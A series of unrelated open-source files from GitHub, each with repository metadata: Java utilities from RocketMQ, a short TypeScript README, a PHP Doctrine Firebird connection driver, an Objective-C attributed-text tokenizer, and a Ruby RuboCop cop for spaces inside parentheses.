cal.setTimeInMillis(System.currentTimeMillis());
cal.add(Calendar.DAY_OF_MONTH, 0);
cal.add(Calendar.HOUR_OF_DAY, 1);
cal.set(Calendar.MINUTE, 30);
cal.set(Calendar.SECOND, 0);
cal.set(Calendar.MILLISECOND, 0);
return cal.getTimeInMillis();
}
public static String timeMillisToHumanString2(final long t) {
Calendar cal = Calendar.getInstance();
cal.setTimeInMillis(t);
return String.format("%04d-%02d-%02d %02d:%02d:%02d,%03d",
cal.get(Calendar.YEAR),
cal.get(Calendar.MONTH) + 1,
cal.get(Calendar.DAY_OF_MONTH),
cal.get(Calendar.HOUR_OF_DAY),
cal.get(Calendar.MINUTE),
cal.get(Calendar.SECOND),
cal.get(Calendar.MILLISECOND));
}
public static String timeMillisToHumanString3(final long t) {
Calendar cal = Calendar.getInstance();
cal.setTimeInMillis(t);
return String.format("%04d%02d%02d%02d%02d%02d",
cal.get(Calendar.YEAR),
cal.get(Calendar.MONTH) + 1,
cal.get(Calendar.DAY_OF_MONTH),
cal.get(Calendar.HOUR_OF_DAY),
cal.get(Calendar.MINUTE),
cal.get(Calendar.SECOND));
}
public static double getDiskPartitionSpaceUsedPercent(final String path) {
if (null == path || path.isEmpty())
return -1;
try {
File file = new File(path);
if (!file.exists()) {
boolean result = file.mkdirs();
if (!result) {
}
}
long totalSpace = file.getTotalSpace();
long freeSpace = file.getFreeSpace();
long usedSpace = totalSpace - freeSpace;
if (totalSpace > 0) {
return usedSpace / (double) totalSpace;
}
} catch (Exception e) {
return -1;
}
return -1;
}
public static final int crc32(byte[] array) {
if (array != null) {
return crc32(array, 0, array.length);
}
return 0;
}
public static final int crc32(byte[] array, int offset, int length) {
CRC32 crc32 = new CRC32();
crc32.update(array, offset, length);
return (int) (crc32.getValue() & 0x7FFFFFFF);
}
final static char[] HEX_ARRAY = "0123456789ABCDEF".toCharArray();
public static String bytes2string(byte[] src) {
char[] hexChars = new char[src.length * 2];
for (int j = 0; j < src.length; j++) {
int v = src[j] & 0xFF;
hexChars[j * 2] = HEX_ARRAY[v >>> 4];
hexChars[j * 2 + 1] = HEX_ARRAY[v & 0x0F];
}
return new String(hexChars);
}
public static byte[] string2bytes(String hexString) {
if (hexString == null || hexString.equals("")) {
return null;
}
hexString = hexString.toUpperCase();
int length = hexString.length() / 2;
char[] hexChars = hexString.toCharArray();
byte[] d = new byte[length];
for (int i = 0; i < length; i++) {
int pos = i * 2;
d[i] = (byte) (charToByte(hexChars[pos]) << 4 | charToByte(hexChars[pos + 1]));
}
return d;
}
private static byte charToByte(char c) {
return (byte) "0123456789ABCDEF".indexOf(c);
}
public static byte[] uncompress(final byte[] src) throws IOException {
byte[] result = src;
byte[] uncompressData = new byte[src.length];
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(src);
InflaterInputStream inflaterInputStream = new InflaterInputStream(byteArrayInputStream);
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(src.length);
try {
while (true) {
int len = inflaterInputStream.read(uncompressData, 0, uncompressData.length);
if (len <= 0) {
break;
}
byteArrayOutputStream.write(uncompressData, 0, len);
}
byteArrayOutputStream.flush();
result = byteArrayOutputStream.toByteArray();
} catch (IOException e) {
throw e;
} finally {
try {
byteArrayInputStream.close();
} catch (IOException e) {
}
try {
inflaterInputStream.close();
} catch (IOException e) {
}
try {
byteArrayOutputStream.close();
} catch (IOException e) {
}
}
return result;
}
public static byte[] compress(final byte[] src, final int level) throws IOException {
byte[] result = src;
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(src.length);
java.util.zip.Deflater defeater = new java.util.zip.Deflater(level);
DeflaterOutputStream deflaterOutputStream = new DeflaterOutputStream(byteArrayOutputStream, defeater);
try {
deflaterOutputStream.write(src);
deflaterOutputStream.finish();
deflaterOutputStream.close();
result = byteArrayOutputStream.toByteArray();
} catch (IOException e) {
defeater.end();
throw e;
} finally {
try {
byteArrayOutputStream.close();
} catch (IOException ignored) {
}
defeater.end();
}
return result;
}
public static int asInt(String str, int defaultValue) {
try {
return Integer.parseInt(str);
} catch (Exception e) {
return defaultValue;
}
}
public static long asLong(String str, long defaultValue) {
try {
return Long.parseLong(str);
} catch (Exception e) {
return defaultValue;
}
}
public static String formatDate(Date date, String pattern) {
SimpleDateFormat df = new SimpleDateFormat(pattern);
return df.format(date);
}
public static Date parseDate(String date, String pattern) {
SimpleDateFormat df = new SimpleDateFormat(pattern);
try {
return df.parse(date);
} catch (ParseException e) {
return null;
}
}
public static String responseCode2String(final int code) {
return Integer.toString(code);
}
public static String frontStringAtLeast(final String str, final int size) {
if (str != null) {
if (str.length() > size) {
return str.substring(0, size);
}
}
return str;
}
public static boolean isBlank(String str) {
int strLen;
if (str == null || (strLen = str.length()) == 0) {
return true;
}
for (int i = 0; i < strLen; i++) {
if (!Character.isWhitespace(str.charAt(i))) {
return false;
}
}
return true;
}
public static String jstack() {
return jstack(Thread.getAllStackTraces());
}
public static String jstack(Map<Thread, StackTraceElement[]> map) {
StringBuilder result = new StringBuilder();
try {
Iterator<Map.Entry<Thread, StackTraceElement[]>> ite = map.entrySet().iterator();
while (ite.hasNext()) {
Map.Entry<Thread, StackTraceElement[]> entry = ite.next();
StackTraceElement[] elements = entry.getValue();
Thread thread = entry.getKey();
if (elements != null && elements.length > 0) {
String threadName = entry.getKey().getName();
result.append(String.format("%-40sTID: %d STATE: %s%n", threadName, thread.getId(), thread.getState()));
for (StackTraceElement el : elements) {
result.append(String.format("%-40s%s%n", threadName, el.toString()));
}
result.append("\n");
}
}
} catch (Throwable e) {
result.append(RemotingHelper.exceptionSimpleDesc(e));
}
return result.toString();
}
public static boolean isInternalIP(byte[] ip) {
if (ip.length != 4) {
throw new RuntimeException("illegal ipv4 bytes");
}
//10.0.0.0~10.255.255.255
//172.16.0.0~172.31.255.255
//192.168.0.0~192.168.255.255
if (ip[0] == (byte) 10) {
return true;
} else if (ip[0] == (byte) 172) {
if (ip[1] >= (byte) 16 && ip[1] <= (byte) 31) {
return true;
}
} else if (ip[0] == (byte) 192) {
if (ip[1] == (byte) 168) {
return true;
}
}
return false;
}
private static boolean ipCheck(byte[] ip) {
if (ip.length != 4) {
throw new RuntimeException("illegal ipv4 bytes");
}
// if (ip[0] == (byte)30 && ip[1] == (byte)10 && ip[2] == (byte)163 && ip[3] == (byte)120) {
// }
if (ip[0] >= (byte) 1 && ip[0] <= (byte) 126) {
if (ip[1] == (byte) 1 && ip[2] == (byte) 1 && ip[3] == (byte) 1) {
return false;
}
if (ip[1] == (byte) 0 && ip[2] == (byte) 0 && ip[3] == (byte) 0) {
return false;
}
return true;
} else if (ip[0] >= (byte) 128 && ip[0] <= (byte) 191) {
if (ip[2] == (byte) 1 && ip[3] == (byte) 1) {
return false;
}
if (ip[2] == (byte) 0 && ip[3] == (byte) 0) {
return false;
}
return true;
} else if (ip[0] >= (byte) 192 && ip[0] <= (byte) 223) {
if (ip[3] == (byte) 1) {
return false;
}
if (ip[3] == (byte) 0) {
return false;
}
return true;
}
return false;
}
public static String ipToIPv4Str(byte[] ip) {
if (ip.length != 4) {
return null;
}
return new StringBuilder().append(ip[0] & 0xFF).append(".").append(
ip[1] & 0xFF).append(".").append(ip[2] & 0xFF)
.append(".").append(ip[3] & 0xFF).toString();
}
public static byte[] getIP() {
try {
Enumeration allNetInterfaces = NetworkInterface.getNetworkInterfaces();
InetAddress ip = null;
byte[] internalIP = null;
while (allNetInterfaces.hasMoreElements()) {
NetworkInterface netInterface = (NetworkInterface) allNetInterfaces.nextElement();
Enumeration addresses = netInterface.getInetAddresses();
while (addresses.hasMoreElements()) {
ip = (InetAddress) addresses.nextElement();
if (ip != null && ip instanceof Inet4Address) {
byte[] ipByte = ip.getAddress();
if (ipByte.length == 4) {
if (ipCheck(ipByte)) {
if (!isInternalIP(ipByte)) {
return ipByte;
} else if (internalIP == null) {
internalIP = ipByte;
}
}
}
}
}
}
if (internalIP != null) {
return internalIP;
} else {
throw new RuntimeException("Can not get local ip");
}
} catch (Exception e) {
throw new RuntimeException("Can not get local ip", e);
}
}
}
| {'content_hash': '34f100d92b29da04da090edcffa6ecbf', 'timestamp': '', 'source': 'github', 'line_count': 510, 'max_line_length': 130, 'avg_line_length': 32.0, 'alnum_prop': 0.5378063725490196, 'repo_name': 'lollipopjin/incubator-rocketmq', 'id': '4429e3d4105eec9d80a6f437c1dccdd5562649dc', 'size': '17118', 'binary': False, 'copies': '1', 'ref': 'refs/heads/master', 'path': 'rocketmq-common/src/main/java/com/alibaba/rocketmq/common/UtilAll.java', 'mode': '33188', 'license': 'apache-2.0', 'language': [{'name': 'Batchfile', 'bytes': '1747'}, {'name': 'Java', 'bytes': '2761168'}, {'name': 'Shell', 'bytes': '34084'}]} |
Consolidated [TypeScript](https://www.typescriptlang.org/) dependencies for transpiling ES.
---
### License: MIT
| {'content_hash': 'c79118233afe785442ed723d33a2dd07', 'timestamp': '', 'source': 'github', 'line_count': 9, 'max_line_length': 91, 'avg_line_length': 13.222222222222221, 'alnum_prop': 0.7142857142857143, 'repo_name': 'philcockfield/babel', 'id': 'ccd257f81bac00cb8ecbf6273057984ec0dc9bcb', 'size': '135', 'binary': False, 'copies': '1', 'ref': 'refs/heads/master', 'path': 'js-typescript/README.md', 'mode': '33188', 'license': 'mit', 'language': [{'name': 'JavaScript', 'bytes': '1398'}]} |
<?php
Doctrine::autoload('Doctrine_Connection');
/**
* Doctrine_Connection_Firebird
*
* @package Doctrine
* @subpackage Connection
* @license http://www.opensource.org/licenses/lgpl-license.php LGPL
* @author Konsta Vesterinen <[email protected]>
* @author Lukas Smith <[email protected]> (PEAR MDB2 library)
* @author Lorenzo Alberton <[email protected]> (PEAR MDB2 Interbase driver)
* @version $Revision: 4037 $
* @link www.phpdoctrine.org
* @since 1.0
*/
class Doctrine_Connection_Firebird extends Doctrine_Connection
{
/**
* @var string $driverName the name of this connection driver
*/
protected $driverName = 'Firebird';
/**
* the constructor
*
* @param Doctrine_Manager $manager
* @param PDO $pdo database handle
*/
public function __construct(Doctrine_Manager $manager, $adapter)
{
$this->supported = array(
'sequences' => true,
'indexes' => true,
'affected_rows' => true,
'summary_functions' => true,
'order_by_text' => true,
'transactions' => true,
'savepoints' => true,
'current_id' => true,
'limit_queries' => 'emulated',
'LOBs' => true,
'replace' => 'emulated',
'sub_selects' => true,
'auto_increment' => true,
'primary_key' => true,
'result_introspection' => true,
'prepared_statements' => true,
'identifier_quoting' => false,
'pattern_escaping' => true
);
// initialize all driver options
/**
$this->options['DBA_username'] = false;
$this->options['DBA_password'] = false;
$this->options['database_path'] = '';
$this->options['database_extension'] = '.gdb';
$this->options['server_version'] = '';
*/
parent::__construct($manager, $adapter);
}
/**
* Set the charset on the current connection
*
* @param string charset
*
* @return void
*/
public function setCharset($charset)
{
$query = 'SET NAMES '.$this->dbh->quote($charset);
$this->exec($query);
}
/**
* Adds an driver-specific LIMIT clause to the query
*
* @param string $query query to modify
* @param integer $limit limit the number of rows
* @param integer $offset start reading from given offset
* @return string modified query
*/
public function modifyLimitQuery($query, $limit = false, $offset = false, $isManip = false)
{
if ($limit > 0) {
$query = preg_replace('/^([\s(])*SELECT(?!\s*FIRST\s*\d+)/i',
"SELECT FIRST $limit SKIP $offset", $query);
}
return $query;
}
} | {'content_hash': '9d406a6c4b9169fa928aa5d89baaa122', 'timestamp': '', 'source': 'github', 'line_count': 93, 'max_line_length': 95, 'avg_line_length': 35.623655913978496, 'alnum_prop': 0.46966495623302146, 'repo_name': 'nbonamy/doctrine-0.10.4', 'id': '52c2fab8065630b7048cf95cb32c820ce1146717', 'size': '4341', 'binary': False, 'copies': '1', 'ref': 'refs/heads/master', 'path': 'lib/Doctrine/Connection/Firebird.php', 'mode': '33188', 'license': 'mit', 'language': [{'name': 'ApacheConf', 'bytes': '52'}, {'name': 'CSS', 'bytes': '6908'}, {'name': 'HTML', 'bytes': '6657357'}, {'name': 'JavaScript', 'bytes': '3353'}, {'name': 'PHP', 'bytes': '3995824'}, {'name': 'Smarty', 'bytes': '1328'}]} |
#import "MPColorTools.h"
#import "TML.h"
#import "TMLAttributedDecorationTokenizer.h"
#import "TMLConfiguration.h"
@interface TMLAttributedDecorationTokenizer ()
@end
@implementation TMLAttributedDecorationTokenizer
+ (void)addStroke:(NSObject *)data toRange: (NSRange) range inAttributedString: (NSMutableAttributedString *) attributedString {
NSDictionary *styles = ((NSDictionary *) data);
if ([styles objectForKey:@"color"]) {
[attributedString addAttribute: NSStrokeColorAttributeName value: [self colorFromData:[styles objectForKey:@"color"]] range:range];
}
if ([styles objectForKey:@"width"]) {
float width = [[styles objectForKey:@"width"] floatValue];
[attributedString addAttribute: NSStrokeWidthAttributeName value: @(width) range:range];
}
}
+ (void)addShadow:(NSObject *)data toRange: (NSRange) range inAttributedString: (NSMutableAttributedString *) attributedString {
NSDictionary *styles = ((NSDictionary *) data);
NSShadow *shadow = [[NSShadow alloc] init];
if ([styles objectForKey:@"offset"]) {
NSArray *parts = [[styles objectForKey:@"offset"] componentsSeparatedByString:@","];
if ([parts count] == 2)
shadow.shadowOffset = CGSizeMake([[parts objectAtIndex:0] floatValue], [[parts objectAtIndex:1] floatValue]);
}
if ([styles objectForKey:@"radius"]) {
shadow.shadowBlurRadius = [[styles objectForKey:@"radius"] floatValue];
}
if ([styles objectForKey:@"color"]) {
shadow.shadowColor = [self colorFromData:[styles objectForKey:@"color"]];
}
[attributedString addAttribute: NSShadowAttributeName value: shadow range:range];
}
+ (void)addTextEffects:(NSObject *)data toRange: (NSRange) range inAttributedString: (NSMutableAttributedString *) attributedString {
NSString *style = ((NSString *) data);
if ([style isEqualToString:@"letterpress"]) {
[attributedString addAttribute: NSTextEffectAttributeName value: NSTextEffectLetterpressStyle range:range];
}
}
+ (void)addParagraphStyles:(NSObject *)data toRange: (NSRange) range inAttributedString: (NSMutableAttributedString *) attributedString {
NSDictionary *styles = ((NSDictionary *) data);
NSMutableParagraphStyle *paragraphStyle = [[NSMutableParagraphStyle alloc] init];
if ([styles objectForKey:@"line-spacing"])
paragraphStyle.lineSpacing = [[styles objectForKey:@"line-spacing"] floatValue];
if ([styles objectForKey:@"paragraph-spacing"])
paragraphStyle.paragraphSpacing = [[styles objectForKey:@"paragraph-spacing"] floatValue];
if ([styles objectForKey:@"alignment"]) {
NSString *alignment = [styles objectForKey:@"alignment"];
if ([alignment isEqualToString:@"left"])
paragraphStyle.alignment = NSTextAlignmentLeft;
else if ([alignment isEqualToString:@"right"])
paragraphStyle.alignment = NSTextAlignmentRight;
else if ([alignment isEqualToString:@"center"])
paragraphStyle.alignment = NSTextAlignmentCenter;
else if ([alignment isEqualToString:@"justified"])
paragraphStyle.alignment = NSTextAlignmentJustified;
else if ([alignment isEqualToString:@"natural"])
paragraphStyle.alignment = NSTextAlignmentNatural;
}
if ([styles objectForKey:@"first-line-head-indent"])
paragraphStyle.firstLineHeadIndent = [[styles objectForKey:@"first-line-head-indent"] floatValue];
if ([styles objectForKey:@"head-indent"])
paragraphStyle.headIndent = [[styles objectForKey:@"head-indent"] floatValue];
if ([styles objectForKey:@"tail-indent"])
paragraphStyle.tailIndent = [[styles objectForKey:@"tail-indent"] floatValue];
if ([styles objectForKey:@"line-breaking-mode"]) {
NSString *mode = (NSString *) [styles objectForKey:@"line-breaking-mode"];
if ([mode isEqualToString:@"word"])
paragraphStyle.lineBreakMode = NSLineBreakByWordWrapping;
else if ([mode isEqualToString:@"char"])
paragraphStyle.lineBreakMode = NSLineBreakByCharWrapping;
else if ([mode isEqualToString:@"clipping"])
paragraphStyle.lineBreakMode = NSLineBreakByClipping;
else if ([mode isEqualToString:@"truncate-head"])
paragraphStyle.lineBreakMode = NSLineBreakByTruncatingHead;
else if ([mode isEqualToString:@"truncate-tail"])
paragraphStyle.lineBreakMode = NSLineBreakByTruncatingTail;
else if ([mode isEqualToString:@"truncate-middle"])
paragraphStyle.lineBreakMode = NSLineBreakByTruncatingMiddle;
}
if ([styles objectForKey:@"minimum-line-height"])
paragraphStyle.minimumLineHeight = [[styles objectForKey:@"minimum-line-height"] floatValue];
if ([styles objectForKey:@"maximum-line-height"])
paragraphStyle.maximumLineHeight = [[styles objectForKey:@"maximum-line-height"] floatValue];
if ([styles objectForKey:@"writing-direction"]) {
NSString *dir = (NSString *) [styles objectForKey:@"writing-direction"];
if ([dir isEqualToString:@"natural"])
paragraphStyle.baseWritingDirection = NSWritingDirectionNatural;
else if ([dir isEqualToString:@"ltr"])
paragraphStyle.baseWritingDirection = NSWritingDirectionLeftToRight;
else if ([dir isEqualToString:@"rtl"])
paragraphStyle.baseWritingDirection = NSWritingDirectionRightToLeft;
}
if ([styles objectForKey:@"line-height-multiple"])
paragraphStyle.lineHeightMultiple = [[styles objectForKey:@"line-height-multiple"] floatValue];
if ([styles objectForKey:@"line-height-multiple"])
paragraphStyle.paragraphSpacingBefore = [[styles objectForKey:@"line-height-multiple"] floatValue];
[attributedString addAttribute: NSParagraphStyleAttributeName value:paragraphStyle range:range];
}
+ (void)addStrikeThrough:(NSObject *)data toRange: (NSRange) range inAttributedString: (NSMutableAttributedString *) attributedString {
if ([data isKindOfClass:NSString.class]) {
NSString *thickness = ((NSString *) data);
[attributedString addAttribute: NSStrikethroughStyleAttributeName value:@([thickness intValue]) range:range];
return;
}
if ([data isKindOfClass:NSDictionary.class]) {
NSDictionary *options = (NSDictionary *) data;
if ([options objectForKey:@"thickness"]) {
[attributedString addAttribute: NSStrikethroughStyleAttributeName value: @([[options objectForKey:@"thickness"] intValue]) range:range];
}
NSString *color = [options objectForKey:@"color"];
if (color) {
[attributedString addAttribute: NSStrikethroughColorAttributeName value: [self colorFromData:color] range:range];
}
}
}
+ (NSUnderlineStyle) underlineOptionsFromData: (NSObject *)data {
NSUnderlineStyle opts = NSUnderlineStyleNone;
if ([data isKindOfClass:NSString.class]) {
if ([data isEqual:@"none"]) {
opts = NSUnderlineStyleNone;
} else if ([data isEqual:@"single"]) {
opts = NSUnderlineStyleSingle;
} else if ([data isEqual:@"double"]) {
opts = NSUnderlineStyleDouble;
} else if ([data isEqual:@"thick"]) {
opts = NSUnderlineStyleThick;
}
return opts;
}
if ([data isKindOfClass:NSDictionary.class]) {
NSDictionary *options = (NSDictionary *) data;
NSString *style = [options objectForKey:@"style"];
if (style == nil) style = @"single";
NSString *pattern = [options objectForKey:@"pattern"];
if (pattern == nil) pattern = @"solid";
NSString *byword = [options objectForKey:@"byword"];
if (byword == nil) byword = @"false";
if ([style isEqual:@"none"]) {
opts = NSUnderlineStyleNone;
} else if ([style isEqual:@"single"]) {
opts = NSUnderlineStyleSingle;
} else if ([style isEqual:@"double"]) {
opts = NSUnderlineStyleDouble;
} else if ([style isEqual:@"thick"]) {
opts = NSUnderlineStyleThick;
}
if ([pattern isEqual:@"solid"]) {
opts = opts | NSUnderlinePatternSolid;
} else if ([pattern isEqual:@"dot"]) {
opts = opts | NSUnderlinePatternDot;
} else if ([pattern isEqual:@"dash"]) {
opts = opts | NSUnderlinePatternDash;
} else if ([pattern isEqual:@"dashdot"]) {
opts = opts | NSUnderlinePatternDashDot;
} else if ([pattern isEqual:@"dashdotdot"]) {
opts = opts | NSUnderlinePatternDashDotDot;
} else if ([pattern isEqual:@"dashdotdot"]) {
opts = opts | NSUnderlinePatternDashDotDot;
}
if ([byword isEqual:@"true"]) {
opts = opts | NSUnderlineByWord;
}
return opts;
}
return opts;
}
+ (void)addUnderline:(NSObject *)data toRange: (NSRange) range inAttributedString: (NSMutableAttributedString *) attributedString {
[attributedString addAttribute: NSUnderlineStyleAttributeName value:@([self underlineOptionsFromData:data]) range:range];
if ([data isKindOfClass:NSDictionary.class]) {
NSDictionary *options = (NSDictionary *) data;
NSString *color = [options objectForKey:@"color"];
if (color) {
[attributedString addAttribute: NSUnderlineColorAttributeName value: [self colorFromData:color] range:range];
}
}
}
/**
* @{@"font": [UIFont fontWithName....]}
* @{@"font": @{@"name": @"Arial", @"size": @8}}
* @{@"font": @"Arial, 8"}
*/
+ (UIFont *) fontFromData: (NSObject *)data {
if ([data isKindOfClass: UIFont.class]) {
return (UIFont *) data;
}
if ([data isKindOfClass: NSDictionary.class]) {
NSDictionary *settings = (NSDictionary *) data;
NSString *fontName = [settings objectForKey:@"name"];
NSNumber *fontSize = [settings objectForKey:@"size"];
if ([fontName isEqualToString:@"system"]) {
if ([[settings objectForKey:@"type"] isEqualToString:@"bold"]) {
return [UIFont boldSystemFontOfSize:[fontSize floatValue]];
}
if ([[settings objectForKey:@"type"] isEqualToString:@"italic"]) {
return [UIFont italicSystemFontOfSize:[fontSize floatValue]];
}
return [UIFont systemFontOfSize:[fontSize floatValue]];
}
return [UIFont fontWithName:fontName size:[fontSize floatValue]];
}
if ([data isKindOfClass: NSString.class]) {
NSArray *elements = [((NSString *) data) componentsSeparatedByString:@","];
if ([elements count] < 2) return nil;
NSString *fontName = [elements objectAtIndex:0];
float fontSize = [[elements objectAtIndex:1] floatValue];
return [UIFont fontWithName:fontName size:fontSize];
}
return nil;
}
+ (void)addFont:(NSObject *)data toRange: (NSRange) range inAttributedString: (NSMutableAttributedString *) attributedString {
UIFont *font = [self fontFromData:data];
if (font == nil) return;
[attributedString addAttribute: NSFontAttributeName value:font range:range];
}
/**
* @{@"color": [UIColor ...]}
* @{@"color": @{@"red": @111, @"green": @8 ...}}
* @{@"color": @"fbc"}
*/
+ (UIColor *) colorFromData: (NSObject *)data {
if ([data isKindOfClass: UIColor.class]) {
return (UIColor *) data;
}
if ([data isKindOfClass: NSDictionary.class]) {
NSDictionary *settings = (NSDictionary *) data;
UIColor *color = [UIColor colorWithRed:[[settings objectForKey:@"red"] floatValue]
green:[[settings objectForKey:@"green"] floatValue]
blue:[[settings objectForKey:@"blue"] floatValue]
alpha:[[settings objectForKey:@"alpha"] floatValue]];
return color;
}
if ([data isKindOfClass: NSString.class]) {
NSString *name = ((NSString *) data);
if ([name isEqualToString:@"black"]) return [UIColor blackColor];
if ([name isEqualToString:@"dark-gray"]) return [UIColor darkGrayColor];
if ([name isEqualToString:@"light-gray"]) return [UIColor lightGrayColor];
if ([name isEqualToString:@"white"]) return [UIColor whiteColor];
if ([name isEqualToString:@"gray"]) return [UIColor grayColor];
if ([name isEqualToString:@"red"]) return [UIColor redColor];
if ([name isEqualToString:@"green"]) return [UIColor greenColor];
if ([name isEqualToString:@"blue"]) return [UIColor blueColor];
if ([name isEqualToString:@"cyan"]) return [UIColor cyanColor];
if ([name isEqualToString:@"yellow"]) return [UIColor yellowColor];
if ([name isEqualToString:@"magenta"]) return [UIColor magentaColor];
if ([name isEqualToString:@"orange"]) return [UIColor orangeColor];
if ([name isEqualToString:@"purple"]) return [UIColor purpleColor];
if ([name isEqualToString:@"brown"]) return [UIColor brownColor];
if ([name isEqualToString:@"clear"]) return [UIColor clearColor];
return MP_HEX_RGB(name);
}
return nil;
}
+ (void)addColor:(NSObject *)data toRange: (NSRange) range inAttributedString: (NSMutableAttributedString *) attributedString {
[attributedString addAttribute: NSForegroundColorAttributeName value:[self colorFromData:data] range:range];
}
+ (void)addBackgroundColor:(NSObject *)data toRange: (NSRange) range inAttributedString: (NSMutableAttributedString *) attributedString {
[attributedString addAttribute: NSBackgroundColorAttributeName value:[self colorFromData:data] range:range];
}
- (void) applyStyles:(NSDictionary *)styles
toRanges:(NSArray *)ranges
inAttributedString:(NSMutableAttributedString *)attributedString
{
for (NSString *styleName in [styles allKeys]) {
NSObject *styleValue = [styles objectForKey:styleName];
for (NSDictionary *rangeData in ranges) {
NSRange range = NSMakeRange([[rangeData objectForKey:@"location"] intValue], [[rangeData objectForKey:@"length"] intValue]);
if ([styleName isEqualToString:@"attributes"]) {
NSDictionary *attrs = (NSDictionary *) styleValue;
[attributedString addAttributes:attrs range:range];
} else if ([styleName isEqualToString:@"font"]) {
[self.class addFont: styleValue toRange: range inAttributedString: attributedString];
} else if ([styleName isEqualToString:@"color"]) {
[self.class addColor: styleValue toRange: range inAttributedString: attributedString];
} else if ([styleName isEqualToString:@"background-color"]) {
[self.class addBackgroundColor: styleValue toRange: range inAttributedString: attributedString];
} else if ([styleName isEqualToString:@"underline"]) {
[self.class addUnderline: styleValue toRange: range inAttributedString: attributedString];
} else if ([styleName isEqualToString:@"strike"]) {
[self.class addStrikeThrough: styleValue toRange: range inAttributedString: attributedString];
} else if ([styleName isEqualToString:@"paragraph"]) {
[self.class addParagraphStyles: styleValue toRange: range inAttributedString: attributedString];
} else if ([styleName isEqualToString:@"effects"]) {
[self.class addTextEffects: styleValue toRange: range inAttributedString: attributedString];
} else if ([styleName isEqualToString:@"shadow"]) {
[self.class addShadow: styleValue toRange: range inAttributedString: attributedString];
} else if ([styleName isEqualToString:@"stroke"]) {
[self.class addStroke: styleValue toRange: range inAttributedString: attributedString];
}
}
}
}
- (NSString *) applyToken: (NSString *) token toValue: (NSString *) value {
return value;
}
- (NSString *) evaluate: (NSObject *) expr location: (int) location {
if (![expr isKindOfClass:NSArray.class])
return (NSString *) expr;
NSMutableArray *args = [NSMutableArray arrayWithArray:(NSArray *) expr];
NSString *token = (NSString *) [args objectAtIndex:0];
[args removeObjectAtIndex:0];
NSMutableArray *attributeSet = [self.attributes objectForKey:token];
if (attributeSet == nil) {
attributeSet = [NSMutableArray array];
[self.attributes setObject:attributeSet forKey:token];
}
NSMutableDictionary *attribute = [NSMutableDictionary dictionary];
[attribute setObject:[NSNumber numberWithInteger:location] forKey:@"location"];
NSMutableArray *processedValues = [NSMutableArray array];
for (NSObject *arg in args) {
NSString *value = (NSString *) [self evaluate:arg location: location];
location += [value length];
[processedValues addObject:value];
}
NSString *value = [processedValues componentsJoinedByString:@""];
[attribute setObject:[NSNumber numberWithInteger:[value length]] forKey:@"length"];
[attributeSet addObject:attribute];
return [self applyToken:token toValue:value];
}
- (NSObject *) substituteTokensInLabelUsingData:(NSDictionary *)newTokensData {
self.tokensData = newTokensData;
self.attributes = [NSMutableDictionary dictionary];
NSString *result = [self evaluate: self.expression location:0];
NSMutableAttributedString *attributedString = [[NSMutableAttributedString alloc] initWithString:result];
for (NSString *tokenName in self.tokenNames) {
if (![self isTokenAllowed:tokenName]) continue;
NSDictionary *styles = [self.tokensData objectForKey:tokenName];
if (styles == nil) {
styles = [[[TML sharedInstance] configuration] defaultTokenValueForName:tokenName
type:TMLDecorationTokenType
format:TMLAttributedTokenFormat];
if (styles == nil) continue;
}
NSArray *ranges = [self.attributes objectForKey:tokenName];
if (ranges == nil) {
continue;
}
[self applyStyles: styles toRanges: ranges inAttributedString: attributedString];
}
return attributedString;
}
@end | {'content_hash': 'de6843365f2c424dd7f6869e0b04ada6', 'timestamp': '', 'source': 'github', 'line_count': 424, 'max_line_length': 148, 'avg_line_length': 44.117924528301884, 'alnum_prop': 0.6491500053458783, 'repo_name': 'translationexchange/tml-objc', 'id': '564014afc40b2a55a2ca530469fd200330c8348c', 'size': '20614', 'binary': False, 'copies': '1', 'ref': 'refs/heads/master', 'path': 'TMLSandbox/Pods/TMLKit/Classes/Tokenizers/TMLAttributedDecorationTokenizer.m', 'mode': '33188', 'license': 'mit', 'language': [{'name': 'C', 'bytes': '343086'}, {'name': 'C++', 'bytes': '19355'}, {'name': 'Objective-C', 'bytes': '1703946'}, {'name': 'Ruby', 'bytes': '10372'}, {'name': 'Shell', 'bytes': '11954'}]} |
module RuboCop
module Cop
module Layout
# Checks for spaces inside ordinary round parentheses.
#
# @example EnforcedStyle: no_space (default)
# # The `no_space` style enforces that parentheses do not have spaces.
#
# # bad
# f( 3)
# g = (a + 3 )
#
# # good
# f(3)
# g = (a + 3)
#
# @example EnforcedStyle: space
# # The `space` style enforces that parentheses have a space at the
# # beginning and end.
# # Note: Empty parentheses should not have spaces.
#
# # bad
# f(3)
# g = (a + 3)
# y( )
#
# # good
# f( 3 )
# g = ( a + 3 )
# y()
#
class SpaceInsideParens < Base
include SurroundingSpace
include RangeHelp
include ConfigurableEnforcedStyle
extend AutoCorrector
MSG = 'Space inside parentheses detected.'
MSG_SPACE = 'No space inside parentheses detected.'
def on_new_investigation
@processed_source = processed_source
if style == :space
each_missing_space(processed_source.tokens) do |range|
add_offense(range, message: MSG_SPACE) do |corrector|
corrector.insert_before(range, ' ')
end
end
else
each_extraneous_space(processed_source.tokens) do |range|
add_offense(range) do |corrector|
corrector.remove(range)
end
end
end
end
private
def each_extraneous_space(tokens)
tokens.each_cons(2) do |token1, token2|
next unless parens?(token1, token2)
# If the second token is a comment, that means that a line break
# follows, and that the rules for space inside don't apply.
next if token2.comment?
next unless same_line?(token1, token2) && token1.space_after?
yield range_between(token1.end_pos, token2.begin_pos)
end
end
def each_missing_space(tokens)
tokens.each_cons(2) do |token1, token2|
next if can_be_ignored?(token1, token2)
if token1.left_parens?
yield range_between(token2.begin_pos, token2.begin_pos + 1)
elsif token2.right_parens?
yield range_between(token2.begin_pos, token2.end_pos)
end
end
end
def same_line?(token1, token2)
token1.line == token2.line
end
def parens?(token1, token2)
token1.left_parens? || token2.right_parens?
end
def can_be_ignored?(token1, token2)
return true unless parens?(token1, token2)
# If the second token is a comment, that means that a line break
# follows, and that the rules for space inside don't apply.
return true if token2.comment?
return true unless same_line?(token1, token2) && !token1.space_after?
end
end
end
end
end
